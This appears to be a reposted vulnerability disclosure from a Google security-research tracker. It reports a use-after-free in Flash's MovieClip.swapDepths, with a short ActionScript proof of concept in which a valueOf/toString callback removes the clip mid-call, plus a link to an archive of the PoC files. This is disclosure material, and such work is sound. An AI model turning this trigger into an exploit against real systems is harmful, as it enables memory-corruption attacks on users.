24 lines
No EOL
653 B
Text
24 lines
No EOL
653 B
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=403&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
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There is a use-after-free in MovieClip.swapDepths, a POC is as follows:
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var clip1 = this.createEmptyMovieClip("clip1", 1);
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var clip2 = this.createEmptyMovieClip("clip2", 2);
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var n = {valueOf: func, toString: func};
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clip1.swapDepths(n);
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function func(){
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clip1.removeMovieClip();
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//_root.createEmptyMovieClip("test", 1);
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trace("here");
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return "clip2";
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}
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A swf and fla are attached.
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Proof of Concept:
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37871.zip |